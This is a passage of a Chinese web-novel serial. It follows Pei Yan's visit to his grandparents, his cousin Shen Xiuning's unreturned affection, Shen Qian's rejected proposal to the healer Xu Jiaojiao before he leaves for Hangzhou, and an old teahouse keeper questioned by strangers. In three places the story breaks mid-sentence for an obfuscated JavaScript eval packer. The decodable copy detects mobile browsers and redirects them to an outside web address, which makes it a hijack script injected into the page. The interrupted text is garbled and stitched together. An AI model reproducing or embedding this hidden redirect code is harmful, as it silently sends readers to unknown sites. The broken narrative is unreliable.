郑国公府的宅邸在城东，五进的大院子，住着继母、四个弟妹，还有一干管事仆从。他住进院一间僻静的小厢房，离正院很远，离书房很近。继母每日晨昏定省待他和气周到，吃穿用度无一短缺，仆从们对他恭敬有礼，唤他“大公子”。 没有人为难他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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后来他长大了，入朝了，能在宫宴上远远看见阿姐了。她总是端庄得体，从不在人前流露半分情绪。只有偶尔的目光交汇，那极轻的一颔首，让他知道她一切都好。 他知道那不是真的。 可他不能问。她也永远不会说。 “你母亲去得早，”沈老太爷的声音将他的思绪拉回，“你父亲续弦后，你在郑国公府的处境……外祖父心里有数。” 他顿了顿，苍老的嗓音里透出些许愧怍：“那时候没能把你接回来，是外祖父对不住你。” 裴宴抬眼，看着对面这位曾经大越的二品大员，如今已是有些苍老的老人。 幼时在菰城，外祖父曾将他抱在膝头，教他认字读诗。那时外祖父的手还很有力，胡子还是黑的，笑声朗朗，能把他举过头顶，说“我们阿宴将来必成大器”。 十几年过去，那双手已枯瘦如柴，那笑声也再听不见了。 “外祖父言重了。”裴宴轻声道，“孙儿在京城，很好。” 他没有说假话。 那些年，确实不好。可正因不好，才将他磨成今日的模样。若当年留在菰城，在外祖父庇荫下安稳长大，或许不会有今日的裴宴。 所以他不怨。 沈老太爷看着他，良久，轻叹一声。 “你总是说很好。”他摇了摇头，语气里带着几分无奈，几分心疼，“好不好的，你自己知道。” 他伸出手，在裴宴手背上轻轻拍了拍。 那手苍老枯瘦，骨节凸起，覆着褐色的老年斑，却仍是温热的。 “往后若有难处，别忘了菰城还有个沈家。”他放缓了声音，“你外祖父虽不中用了，可替你挡一挡风，还是挡得起的。” 裴宴垂首，喉间微哽。 “……孙儿省得。” 他没有说谢。祖孙之间，原不必言谢。 沈老太爷收回手，又端起茶盏，恢复了方才那种闲话家常的语气。 “你方才说，暂无打算。” 裴宴抬眸。 “那便是不急。”沈老太爷啜了口茶，苍老的声音里带出几分不易察觉的笑意，“也好。亲事这种事，急不得。总要遇着个可心的，我让你外祖母给你留意着，若有家世相当，品貌端方的闺秀，就给你父亲去信。” 裴宴望着茶盏中那汪澄黄的茶汤，汤面平静无波，一如他此刻面上神色。 窗外那几片枯叶还在风里打着旋儿，一忽儿落下，一忽儿又扬起，始终不肯坠地。 “是。”他轻声道。“劳外祖父费心。” 声音很轻，轻得几乎被风声盖过。 但沈老太爷听见了。 他没有再说什么，只是慢慢放下茶盏，靠回椅背，阖上了眼睛。 檐下的秋阳缓缓西移，将祖孙俩的影子拉得颀长。廊外隐约传来丫鬟轻手轻脚走过的脚步声，还有远处花厅里沈谦与同窗时隐时现的谈笑声。 67. 第67章 皆有失意 祖孙俩在书房闲聊，时间过的很快。 约莫过了半个时辰，沈谦得了消息，匆匆赶来。 他今日穿了身月白色直裰，衬得面色虽还有些苍白，精神却不错。见到裴宴，眼中露出真切的笑意：“宴弟，你来了。” “表哥。”裴宴起身，仔细打量他，“气色好多了。” “多亏那许娘子。”沈谦诚恳道，又向沈老太爷行礼，“孙儿给祖父请安。” 沈老太爷看着他，开门见山，语气严肃中带着关切：“谦儿，方才我与宴儿商议，决定送你去杭州万松书院读书。十日后动身，你可有准备？” 沈谦明显一怔，下意识看向裴宴。 裴宴神色淡然，仿佛此事与他无关。 “祖父……”沈谦迟疑道，“孙儿想……再休养些时日。况且年关将近，此时离家，恐怕……” “年关还有三个月。”沈老太爷不容置疑，“路上走慢些，到了杭州好生安顿，不耽误什么。万松书院山长方老先生今冬开讲《策论》，这是千载难逢的机会。你父亲若得知，也定会赞成。” 沈谦沉默了。他并非不识好歹之人，知道祖父的期望，也明白这机会来之不易。只是…… 他眼前忽然闪过那日柳枝巷小院里，许娇娇低头拣选羽毛时专注的侧脸，和她讲解制法时清亮的眼眸。 若是去了杭州，再见她，便难了。 这个念头让他心头一涩。 “孙儿……遵命。”他终究还是应下了。声音很轻，却带着几分不易察觉的失落。 裴宴看在眼里，心中那点愧意更深了。他忽然想起中秋那夜，许娇娇说起未来憧憬时，眼中那种纯粹的光。她说想有一间自己的药铺，种一院子草药，平安顺遂地过完这一生。 而自己今日所为，或许正将她推离那样的生活。 但开弓没有回头箭。 “表哥到了杭州，若有需要，可去寻杭州知府陈大人。”裴宴开口道，“陈大人是孙儿座师的同年，孙儿已修书一封，托他照应。” 沈谦看向他，眼中神色复杂，终究还是拱手道：“多谢宴弟费心。” 正说着，外头丫鬟来报，说老夫人请表公子过去说话。裴宴便向沈老太爷请辞。又看向沈谦，“表哥可要和我一起？” “宴弟先去。”沈谦起身目带歉意：“我那里还有几个同窗在，不好怠慢。少顷，送走了他们，我再去和祖母问安。” 裴宴点头，去了后院寿安堂。 寿安堂内，沈老夫人刚用过早膳，正倚在暖榻上，听身边得力的周嬷嬷说着家常。她年纪虽长，头发银白，但精神矍铄，面容慈和，一双眼睛却依旧明亮，透着洞察世情的通透。听闻外孙来了，脸上立刻绽开真切的笑容，连声道：“快让宴哥儿进来！这孩子，可是有些日子没来瞧我这老婆子了。” 裴宴撩帘入内，一股混合着檀香与药香的暖意扑面而来。他上前，端端正正行了礼：“孙儿给外祖母请安。外祖母近来身子可好？” “好，好着呢！”沈老夫人招手让他坐到榻边的锦凳上，仔细端详着他，心疼道，“就是瞧着清减了。可是公务太繁重？底下那些人都是做什么吃的，也不晓得替你分忧。”话语里是毫不掩饰的偏爱。 “劳外祖母挂心，孙儿无事。”裴宴温声道，“只是初来江南，水土略有不服，如今已习惯了。” 祖孙俩正叙着话，外间传来一阵略显急促却刻意放轻的脚步声，紧接着是丫鬟清脆的禀报：“老夫人，三娘子来给您请安了。” 门帘再次被掀起，沈淑宁走了进来。 她显然是匆匆打扮过的。身上穿了一件簇新的藕荷色折枝梅花纹缕金锦袄，下配月白色百褶裙，裙摆处用银线绣着细密的缠枝莲纹，行动间波光粼粼。头发梳成了时下菰城闺秀间流行的垂鬟分肖髻，斜插一支赤金点翠蝴蝶簪，并几朵小小的珍珠珠花，耳上坠着米粒大小的珍珠耳珰。脸上薄薄施了脂粉，掩去了几分病后的苍白，唇上点了浅浅的胭脂，更显得眉眼精致，楚楚动人。只是气息仍有些不匀，脸颊也因快步走来和些许紧张，泛着淡淡的红晕。 她手中提着一个精巧的食盒，进门后先向沈老夫人盈盈一拜：“宁儿给祖母请安。”声音比往日更显轻柔婉转。 抬起头，目光飞快地、带着难以抑制的雀跃看向裴宴，脸颊更红了些，垂下眼睫，规规矩矩地又福了一福：“宴表哥安好。表哥何时来的？可用过早饭了？”一连串问候，透着小女儿家的关切与一丝不易察觉的急切。 裴宴起身还了半礼，神色是一贯的疏淡有礼：“劳表妹记挂，我已用过了。”语气平静，听不出什么波澜，目光在她身上停留了一瞬便移开，重新落回沈老夫人身上，仿佛只是见到一位再寻常不过的表亲。 沈淑宁眼中飞快掠过一丝黯淡，但很快又扬起笑容，将食盒放到沈老夫人榻边的小几上，一边打开一边说：“祖母，这是孙女昨日让丫鬟去馥郁楼新买的玫瑰酥和茯苓糕，想着您爱吃，特意拿来。表哥也尝尝，这玫瑰酥用的是今秋新制的糖玫瑰，味道清甜不腻。”她亲手捧出一碟点心，摆得整整齐齐，先奉给沈老夫人，又期期艾艾地将另一碟推向裴宴的方向。 沈老夫人将一切看在眼里，目光在精心打扮的孙女和神色淡漠的外孙之间轻轻打了个转，心中了然，却只作不知。她捻起一块茯苓糕，尝了一口，笑着对裴宴道：“你表妹有心了。宁儿这孩子，自打病好了，越发懂事体贴。前些日子还说要跟她母亲学理家，说是不能总闲着。”话里话外，带着对孙女的怜爱与夸赞。 裴宴只微微颔首，应道：“表妹孝顺，是外祖母的福气。”却并未去动那碟点心，也没有接沈老夫人关于沈淑宁懂事体贴的话茬。 沈淑宁脸上的笑容有些维持不住，指尖无意识地绞着帕子。她偷偷抬眼去看裴宴，见他侧脸线条冷峻，目光沉静地望着祖母，似乎所有心神都在与祖母的对话上，对自己这番明显用心的装扮和殷勤视若无睹，心头不由漫上浓浓的失落和委屈。她听到丫鬟的禀报说表公子来了，急忙梳妆打扮，挑选衣裳首饰就费了近一个时辰，满心期待能让他看到自己病愈后最好的模样，可…… 沈老夫人将孙女的失落和裴宴的冷淡都收在眼底，心中暗自叹了口气。她这个外孙，心思深，眼界高，宁儿这般小心思，怕是难入他的眼。更何况，如今他身负皇命，心思都在江南的案子上，只怕也无心于此。 堂内的气氛一时有些微妙的凝滞。只有沈老夫人偶尔询问裴宴京中父母安好、江南生活可还习惯的声音，裴宴一一简洁作答，礼数周全，却始终隔着一层无形的距离。 沈淑宁安静地坐在下首，拢着袖中的手，指尖轻轻绞着帕子。 祖母正与宴表哥说话，问及京中父母安好、江南生活可惯。他一一作答，声音不高不低，语速不疾不徐，礼数周全得挑不出半分错处。 可那声音像隔着一层厚厚的冰。 明明人就坐在数尺之外的椅子上，玄色氅衣的衣角垂落，衬得面如冠玉、眉目清隽，与这满室暖香、百合芬芳，像是两个世界的人。 沈淑宁垂下眼，不敢多看。 可余光还是忍不住，一瞬、两瞬，悄悄地描摹他的侧脸。 他比去年祖父大寿时见着，又清减了些。下颌的线条愈发分明，眼下有轻微阴影，像是许久不曾安睡。 宴表哥…… 她很小很小的时候，就这样唤他。 那年她六七岁，因体弱多病，总被姐妹们落在后头。春日园中，她们扑蝶、荡秋千、捉迷藏，笑声穿过花枝，像一串串银铃。她一个人坐在廊下，远远望着，不敢凑近。从小她便知道，自己跑不动、追不上，便不去讨那个没趣。 正发着呆，裙摆上忽然落下一小片影子。是一只蝴蝶。 杏黄的翅，边缘镶着细细的黑纹，在阳光下闪着金粉似的光。它静静地停在她膝头，翅翼轻轻翕动，像一枚会呼吸的花瓣。 她不敢动，屏住呼吸，怕惊走了它。 “别怕。”头顶传来少年的声音，轻轻的，像怕惊落枝头的露水。 她仰起头，看见一个穿月白袍子的少年站在她身后。他比她见过的所有兄长都好看，眉眼清隽，像画上走下来的仙人。 那是她第一次见裴宴表哥。 他陪她坐了整整一个下午。没有问她为何一个人，没有说那些大人常说的“三娘子要好好将养身子”之类的客套话。他只是坐在她旁边，偶尔看那只蝴蝶，偶尔说一两句闲话，声音低低的，像檐下的风铃。 后来蝴蝶飞走了，她有些怅然，却不敢说。 他起身，从袖中摸出一方素帕，不知怎么变戏法似的，一眨眼，帕子里便卧着一只蝴蝶——杏黄的翅，边缘镶黑纹，连翅上的金粉都点得细细的，竟与方才那只一模一样。 “送给你。”他把帕子放在她掌心，弯下腰，与她的眼睛平视，“下次我们再来看它。” 她捧着那只蝴蝶，说不出话。 那是她童年里，最明亮的一日。 后来他回京城了。 她等啊等，等了一年，两年，三年。每年祖父祖母寿辰，她都早早换上最漂亮的衣裳，在花厅门口张望。可他总是不来。 偶尔来一次，也只是匆匆一瞥，与长辈们说几句话便走。她远远望着他的背影，想上前唤一声“宴表哥”，却始终鼓不起勇气。她不知自己在怕什么。 那只蝴蝶她藏了许多年，压在枕下，每晚入睡前都要摸一摸。后来帕子旧了，蝴蝶的翅膀也压扁了，她还是舍不得扔。 再后来，又到了祖父大寿。那日，他在花厅里与几位官员说话，侧身站着，玄色衣袍衬得他面如冠玉。她躲在屏风后偷偷看，心跳得像擂鼓，连手里的帕子绞成了麻花都不自觉。 那一刻，她心里忽然生出一个念头。 若能嫁给他，该有多好。 这念头像一粒种子，悄悄落在心底。她不敢对任何人说，只敢在夜里入睡前，偷偷想一会儿。 可此刻，他就坐在她面前，隔着不过数尺的距离。 她看着他，忽然觉得，很远。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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廊道很长，日光从漏窗斜斜透进来，一格一格，在他肩头明明灭灭。她望着那道身影越来越远，越来越淡，像墨迹落入清水，一点点晕开、消散。 他始终没有回头。 走到转角处，玄色的衣角轻轻扬起，随即被廊柱遮去，再也看不见了。 沈淑宁站在门边，怔怔地望着那空荡荡的转角。 秋风吹过廊下，带着桂花将谢未谢的残香。她忽然想起那年春日，他弯下腰与她平视，说“下次我们再来看它”。 没有下次了。 她垂下眼，掌心里空空的，什么都没有。 那只蝴蝶，她终究是留不住的。 “三娘子，门口风大，仔细身子。”周嬷嬷轻声提醒。 沈淑宁恍然回神，慢慢转回身。 堂内还是那样暖意融融，炉中百合香的气息馥郁温柔。祖母靠在暖榻上，正望着她，目光里有心疼，有了然，还有一点点说不清的复杂。 “宁儿，过来。”沈老夫人向她招手。 沈淑宁走过去，在祖母榻边坐下。她垂着眼，不敢抬头，怕一抬头，那些忍了许久的泪水便会夺眶而出。 沈老夫人拉着她的手，轻轻拍了拍，语重心长道：“你宴表哥……他有他的路要走，肩上的担子重得很。有些事，莫要强求，也莫要钻了牛角尖。你是沈家的女儿，祖母只盼你平安喜乐，将来，自有你的缘法。” 这话说得含蓄，沈淑宁却听懂了。祖母看穿了她的心思，也在委婉地告诉她，裴宴表哥并非良配，至少，不是她能轻易企及的。 她脸色一红忽然又一白，低下头，咬着唇，鼻子轻轻“嗯”了一声，眼眶却微微红了。她呆坐片刻，起身低头向沈老夫人行礼；“祖母，孙女退下了。”沈老夫人点头，眼中带着一丝不忍，“去吧！”又嘱咐跟随的丫鬟，“看着你们三姑娘，天气渐凉，注意添衣，明日我让孙记裁缝铺的东家亲自来给你们姊妹量身，给你们多做几身衣裳。” “多谢祖母。”沈淑宁勉强扯出一个笑。 每次祖母掏出自己的体己给她们姊妹做衣裳，还是京城时薪的样式，她是最高兴的。可这一回，她怎么也无法畅快，只觉得心都要碎了，只想找个没人的地方大哭一场。 沈老夫人不再多言，看着孙女略显单薄离去的背影，她独自坐在暖榻上，手指缓缓拨动着腕上的佛珠，眼中闪过思量。宴儿今日突然来访，又提起送谦儿去杭州读书的事……她这外孙，心思缜密，行事果决，此番举动，恐怕不单单是为了谦儿的学业那么简单，只是她一丝也参不透内中的行情。罢了，孩子们大了，自有他们的考量。她长叹一声，闭目休憩。 裴宴乘坐马车往钦差行辕行进，车厢内寂静无声。长风也不敢多话，只安静驾车。 裴宴睁开眼，透过车帘缝隙望着外头迅速倒退的街景。他知道自己今日所为，多少有些卑劣。借长辈之口，行私心之事，实在算不得君子。 可若再来一次，他或许还是会这样做。 沈谦留在菰城，对她、对自己，都不是好事。 长痛不如短痛。 裴宴重新闭上眼。马车颠簸，他的身影在车厢内微微晃动，孤直，冷清，仿佛与这江南温软的秋日格格不入。 68. 第68章 沈谦告别 九月初八，离沈谦动身去杭州还有两日。 柳枝巷小院旁的梧桐叶黄了大半，风一过，便簌簌地落。连着下了几日的秋雨，昨日才停，今日，许娇娇看着初升的太阳，赶紧和静尘将最后一批处理好的鹅绒拿出来暴晒。阳光透过稀疏的枝叶洒下来，照得那些洁白蓬松的绒朵仿佛笼着一层柔光。 院门被叩响时，许娇娇正将晒好的绒朵装进细棉布袋里。静尘去开门，见到门外站着的人，愣了愣，回头道：“娇杏，是沈公子。” 许娇娇拍拍手上的绒絮，起身望去。沈谦独自一人站在门外，今日穿了身素净的靛青直裰，未带小厮，手里只提着一个不大的青布包袱。他面色依旧有些苍白，但眼神清亮，看向她时，唇角自然而然地扬起温润的笑意。 “沈公子。”许娇娇迎上前，心中有些讶异。前几日他才来过，怎么又来了？ “许娘子。”沈谦进了院子，目光在她沾着绒絮的鬓边停留一瞬，又迅速移开，“又要叨扰了。” “公子客气了。”许娇娇引他到槐树下坐，示意静心沏茶，“公子这是要出门？” 沈谦将包袱放在石桌上，没有立刻回答，而是看向院子里晾晒的绒朵和未缝制的布料，温声道：“羽绒被快做好了？” “差不多了。”许娇娇在他对面坐下，“再晒两日，就能缝制。” 沈谦点点头，静默了片刻。秋阳正好，落在两人之间的石桌上，光影斑驳。静心端了茶来，又悄悄退到厨房门口，和静尘交换了一个眼神。 “许娘子，”沈谦终于开口，声音比平日低沉些，“我后日便要动身去杭州了。” 许娇娇微微一怔：“杭州？去多久？” “少则一年，多则……或许更长。”沈谦看着她，目光里有着不加掩饰的不舍，“祖父让我去万松书院读书，拜在方守正老先生门下。机会难得，我不能推辞。” 万松书院，那可是杭州最有名的书院。那是江南文人士子向往的圣地。沈谦作为沈氏嫡长孙，去那里深造是再自然不过的事。她由衷道：“这是好事。方老先生是当世大儒，公子能得他指点，前程必定更加光明。我在此预祝公子一路顺风，学业精进。” 她说得真诚，眉眼舒展，是真为他高兴的样子。沈谦看着她清澈的眼眸，心头那点离愁别绪却更浓了。她只为他高兴，却似乎，并无半分不舍。 “许娘子，”他握住茶杯的手指微微收紧，指节有些泛白，“此去杭州，山长水远。再见面，不知是何年何月了。” 许娇娇察觉到他语气中的异样，垂下眼睫，轻声道：“有缘自会相见。公子专心读书便是。” “有些话，”沈谦深吸一口气，像是鼓足了勇气，“若今日不说，恐怕以后便没有机会了。” 院子里忽然静了下来。静尘和静心见他有话要说，两人忙躲进厨房。旺财似乎也察觉到气氛不同，从窝里爬起来，蹲在许娇娇脚边，仰头看着两人。 许娇娇心头一跳，有许些不自在。她抬起眼，目光沉静地看向沈谦：“公子请讲。” 沈谦对上她澄澈的目光，原本准备好的那些委婉含蓄的说辞，忽然都说不出口了。他不想再绕弯子，不想再试探。这一别，或许就是永远。 “许娘子，”他声音很轻，却字字清晰，“自仁心堂病中初醒，见你守在榻前；到后来听你讲解医理，看你救治他人；再到那日这小院中，见你低头拣选绒絮，眉眼专注...... 这些日子，沈某心中，便再容不下他人了。” 许娇娇睫毛颤了颤，没有说话。 “我知道，我这话唐突，或许还会给你带来困扰。”沈谦语气恳切，眼中一片真诚，“我也知道，你我门第悬殊，沈家未必会应允。这些我都想过。可我还是想告诉你。谦此生，心仪许娘子，愿以余生相护，绝不相负。” 他顿了顿，从怀中取出一个素锦荷包，轻轻推到许娇娇面前：“这里面，是我自幼佩戴的一枚平安扣，并非贵重之物，却是我一片心意。此去杭州，我必发奋读书，考取功名。待我有了功名在身，能自主婚事时，若娘子那时仍未许人，可否……给我一个机会？” 荷包是雨过天青色，绣着简单的竹叶纹，针脚细密，显然是他随身之物。许娇娇看着那荷包，心头五味杂陈。 沈谦突如其来的告白，如此郑重。令她有些措手不及。 许娇娇在这个异世见过许多异样的目光。沈谦的目光她却有些不敢直视。并不是她怕他，而是她觉得这样一份感情与她而言是沉重的，是无法超越的现实。 在这个士庶天隔的时代，她比谁都清楚。 沈氏是累世簪缨的诗礼旧族，外祖做过户部尚书，父亲在京为官，他自己是嫡长孙，是将来要扛起门楣的人。而她是什么？落溪村许大郎家的孤女，水月庵逃出来的挂单尼，张记生药铺坐堂的女医。这样的身份，莫说聘为正妻，便是做妾，都不一定够格。 沈谦，少年的一腔热血，如此炙热和真诚...... 一阵风来，梧桐叶沙沙地响。一片半黄的叶子打着旋儿落下，正正落在荷包旁，像是天地也为这场沉默添了一笔注脚。 许娇娇沉默了很久。秋风拂过，又卷下几片梧桐叶，落在石桌上，落在两人之间。 “沈郎君，”她终于开口，声音很轻，却很清晰，“我……多谢郎君厚爱。” 沈谦眼中亮起期待的光。 许娇娇却缓缓摇了摇头：“这枚平安扣，我不能收。” 那光骤然黯了下去。 “公子的心意，我明白了。”许娇娇抬眼，目光坦然地迎上他失望的眸子，“公子是端方君子，待我以诚，我感激不尽。只是……” 她顿了顿，似乎在斟酌词句：“我身世飘零，前路未卜。眼下只求安稳度日，无心其他。公子前程远大，将来必定会遇到真正门当户对、能与公子并肩而立的淑女。我，不值得公子如此。” “值不值得，该由我说了算。”沈谦急声道，一贯温润的嗓音里带了丝不易察觉的颤抖，“我不在乎门第，不在乎那些虚名。许娘子，你难道……对我没有半分好感吗？” 许娇娇看着他眼中真切的情意和期盼，心头微涩。好感吗？自然是有的。沈谦温润如玉，品性高洁，待她真诚尊重，在疫病中挺身而出的担当也令人敬佩。这样的男子，很难不让人心生好感。 可也仅止于此了。 这份好感，还不足以让她去对抗门第的鸿沟，不足以让她将未来的希望寄托在一个漫长的承诺上。更重要的是……她脑海中忽然闪过另一张冷峻的脸，想起中秋夜月光下他饮酒时的侧影，想起他说“会的”时那低沉的嗓音。 那点连她自己都不愿深究的悸动，此刻她也无暇顾及。 “沈公子，”她声音柔和，却带着不容转圜的坚定，“你对我的恩情与心意，我铭记于心。但这枚平安扣，我真的不能收。愿你此去杭州，一路顺风，前程似锦。将来……定能觅得佳偶，白头偕老。” 话说至此，已是明确的拒绝。 沈谦脸上的血色一点点褪去。他看着她，眼中翻涌着失望、痛楚，还有一丝不甘。但他终究是君子，即便被拒绝，也没有失态，只是缓缓收回了那枚荷包，紧紧握在掌心。 “我明白了。”他声音沙哑，扯出一个勉强的笑容，“是我……冒昧了。” 他站起身，身形有些晃，却又很快稳住。深深看了许娇娇一眼，似是要将她的模样刻在心里。 “许娘子，保重。”他拱手，郑重一礼。 “沈公子也保重。”许娇娇起身还礼。 沈谦最后环顾了一眼这小院。阳光下晾晒的绒朵，墙角盛放的月季，厨房门口关切望着这边的静尘静心，还有她脚边那只乖巧的黄狗。这一切安宁温暖的景象，都将成为他日后回忆里，最明亮也最怅惘的一笔。 他转身，一步一步走出小院。背影在秋日的阳光里，显得格外孤清。 许娇娇站在槐树下，望着他离去的方向，久久未动。心头像是压了一块石头，沉甸甸的。拒绝一个真心待自己好的人，并非易事。可她别无选择。 静尘轻轻走过来，担忧地看着她：“娇杏……” “我没事。”许娇娇摇摇头，唇角扬起一个浅浅的弧度，“只是觉得……有些对不住沈公子。” “你做的没错。”静尘低声道，“长痛不如短痛。沈家那样的门第，不是我们能高攀的。沈公子他总会想通的。” 许娇娇没有说话，只低头继续整理那些绒朵。指尖拂过柔软温暖的绒絮，心绪却难以平静。 两日后，九月初十，沈谦启程前往杭州。 那日清晨下起了蒙蒙细雨，秋雨缠绵，将菰城的青瓦白墙笼在一片朦胧水汽中。沈家的马车从尚书第侧门驶出，三辆马车，几个仆役，行李简朴。沈老太爷亲自送到门口，又嘱咐了随行的管事几句。 沈谦撩开车帘，回头望了一眼沈府高高的门楣，又望向柳枝巷的方向。雨丝细密，看不真切。 “谦儿，路上小心。”沈老太爷的声音将他拉回现实。 “孙儿明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346618|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白。祖父保重。”沈谦放下车帘，坐回车中。 马车缓缓驶动，车轮碾过湿漉漉的石板路，发出沉闷的声响。沈谦靠在车厢壁上，闭上眼。掌心似乎还残留着那枚平安扣的触感。那是他五岁时，母亲亲手为他戴上的，说是外祖母从寺里求来，能保平安。 他终究没有送出去。 也好。沈谦苦笑。留个念想，或许比被她退回要好受些。 马车驶出城门时，雨渐渐停了。沈谦再次撩开车帘，望向逐渐远去的菰城城墙。这座他生活了二十年的城池，在这一刻忽然显得陌生而遥远。 他想起了疫病期间那些混乱而艰难的日夜，想起了仁心堂草棚里她温声劝药的声音，想起了柳枝巷小院中秋阳下她低头拣选绒絮的侧脸。 都过去了。 沈谦放下车帘，从行囊中取出一卷书。书页已经翻得有些旧了，上面还有他往日做的批注。他深吸一口气，强迫自己将注意力集中在那些熟悉的文字上。 前路还长。祖父说得对，他肩上有沈氏一族的期望，有自己的抱负要实现。儿女情长，不该成为他的羁绊。 可为何，心口那处，仍空落落的，像被秋雨浸透，凉得发疼？ 马车一路向南，朝着杭州方向驶去。 ........ 与此同时，柳枝巷小院里，许娇娇正在缝制最后一条羽绒被。 细密的针脚，均匀的格子，她做得很专注。静尘和静心在一旁帮忙填充绒朵，三人有一搭没一搭地说着话。 “听说沈公子今日动身了。”静心小声说，“这么早就走，怕是赶着在入冬前到杭州。” 静尘看了许娇娇一眼，见她神色如常，才接话道：“早些走也好，路上不用太赶。杭州气候温和，冬天也比菰城好过些。” 许娇娇点点头，手中的针线没有停。她今日穿了身半旧的藕荷色夹袄，头发简单绾在脑后，几缕碎发垂在颊边。阳光从窗外照进来，在她低垂的睫毛上投下浅浅的阴影。 正说着，院门又被叩响了。 这次来的却是长风。 他今日没穿公服，一身寻常的青布短打，手里提着两条用草绳穿着的鲤鱼，鱼鳃还在一张一合，显然是刚买的。 “许娘子，”长风笑着进门，将鱼递过来，“今早去码头办事，瞧见这鱼新鲜，就买了两条。主子说……说让送过来，给娘子添个菜。” 他话说得有些磕绊，眼神飘忽，显然这“主子说”里有多少是真，多少是他自己加上的，颇值得玩味。 许娇娇接过鱼，沉甸甸的，鱼鳞在阳光下闪着银光。“多谢长风大哥，也替我谢谢裴安抚。”她顿了顿，状似随意地问，“裴安抚近日可好？公务还是那样忙吗？” “忙，怎么不忙。”长风叹了口气，“江南的案子千头万绪，主子这些日子几乎没怎么合眼。昨日审了一整夜的账册，今早又去见了孟知州。”他忽然想起什么，压低声音，“不过有件事……沈家那位大公子，今日启程去杭州了。”许娇娇神色平静：“我听说了。” 长风观察着她的表情，见她没有太多异样，心中稍定，又试探着说：“郎主还特意嘱咐，让杭州那边的人照应着些，毕竟是亲戚。” 这话说得巧妙，暗藏几分弦外之音。许娇娇抬眼看了看长风。长风的目光正与她的对上，有些避之不及的尴尬，于是抬手挠了挠头，岔开了话题：“娘子手真巧，这就是那羽绒被啊！” 许娇娇抿唇一笑，点了点头。 “裴安抚想得周到。” 长风见她笑了，心里一松：“可不是嘛，郎主做事向来周全。不过——”他顿了顿，觑着许娇娇的神情，继续道，“这些日子天气渐凉，郎主不太适应南方的潮气，娘子这羽绒被我看着挺好。不如娘子辛苦辛苦，帮郎主也做一床？” “这……”许娇娇一愣，“恐怕不太妥当吧？合适吗？” “妥当妥当，怎么不妥当。”长风堆出一脸笑容，“郎主就怕这南方的潮气，都念叨几回了。太合适了。” 他顿了顿，又压低了声音：“对了，郎主还说……”他似乎在斟酌用词，“说柳枝巷这边若有什么需要，让娘子一定派人去行辕说一声。” 许娇娇轻轻点头：“我记下了。有劳安抚挂心。” 长风又说了几句闲话，便告辞离开。 他走后，静尘看着那两条活蹦乱跳的鲤鱼，笑道：“这位裴钦差，倒真是细心。” 许娇娇没接话，只低头看着手中还在挣扎的鱼。鱼尾拍打着，溅起细小的水珠。 69. 第69章 孙婆子的回忆 自从柳枝巷有了裴宴的人盯着，许娇娇心里踏实了许多。隔几日便上张记坐诊，张东家前些日子去了江宁府最大的药材市场，是一位痊愈的病人介绍的，说他有个亲戚在江宁府做药材生意，既然此处收不到，那就走远一段，实在不行，更远一点，王家再厉害，也不可能霸占整个大越吧！张东家欣然应允。 与此同时。京城，十里铺官道旁的小茶馆刚卸下门板。 孙婆子佝偻着腰，将烧开的水灌进粗陶茶壶里。茶馆不大，三张方桌，几条长凳，一条褪了色“茶”旗在风中飘扬。灶膛里的火苗跳跃着，映着她满是皱纹的脸——那是岁月和风霜刻下的痕迹，一双眼睛却还透着几分精明。 这茶馆开了快十年了。十里铺是进出京城的必经之地，南来北往的客商、脚夫、镖师，都会在这里歇歇脚。孙婆子烧得一手好茶，还会做些简单的吃食，生意虽不红火，却也够她一个人过活。 只是很少有人知道，这个看起来再寻常不过的茶馆老板娘，曾在京城最有名的勾栏翠玉楼里，烧了二十年的茶水。 门帘被掀起，带进一股晨间的凉气。 两个男人走了进来。一高一矮，都穿着半旧的靛蓝短打，像寻常行脚商人的打扮。高的那个面容冷峻，眼神锐利；矮的那个笑眯眯的，看起来和气些。 “两位客官，喝茶？”孙婆子将茶壶放在灶边，用围裙擦了擦手。 “两碗茶，再上几个馒头。”高个男人开口道，声音低沉。他在靠窗的桌子边坐下，目光在茶馆里扫了一圈。 矮个男人则笑着凑到灶台前：“婆婆，这茶闻着香啊，是自家炒的？” “乡下粗茶，不值什么。”孙婆子麻利地摆上茶碗，又从蒸笼里取出几个还温着的馒头，“客官是打哪儿来？” “南边。”矮个男人接过馒头，咬了一口，“往京城去，做点小生意。” 孙婆子点点头，没再多问。她在这十里铺开了这么多年茶馆，什么样的人没见过？这两人虽然穿着寻常，但走路说话的样子，绝不只是寻常行脚商人那么简单。尤其是那个高个的，坐得笔直，眼神时不时扫过门外官道，像是在等什么人，又像是在防备什么。 她将茶端过去，转身要回灶台。 “婆婆，”高个男人忽然开口，“跟你打听个人。” 孙婆子脚步一顿，转过身：“客官要打听谁？” “听说你从前在京城翠玉楼做过事？” 孙婆子心头猛地一跳，脸上却还挂着笑：“客官听谁说的？老婆子一个乡下妇人，哪去过什么翠玉楼。” 高个男人盯着她，没说话。矮个男人则从怀里摸出一锭银子，“啪”一声放在桌上。银子足有五两，在昏暗的茶馆里泛着诱人的光。 “婆婆，”矮个男人依旧笑眯眯的，“我们兄弟俩没别的意思，就是想打听点陈年旧事。这点银子，算是茶钱，也算是一点心意。” 孙婆子看着那锭银子，又看了看两个男人。她活了六十多年，知道有些钱能拿，有些钱拿了会惹祸上身。眼前这两人，明显是后者。 “客官怕是找错人了。”她摇摇头，转身要走。 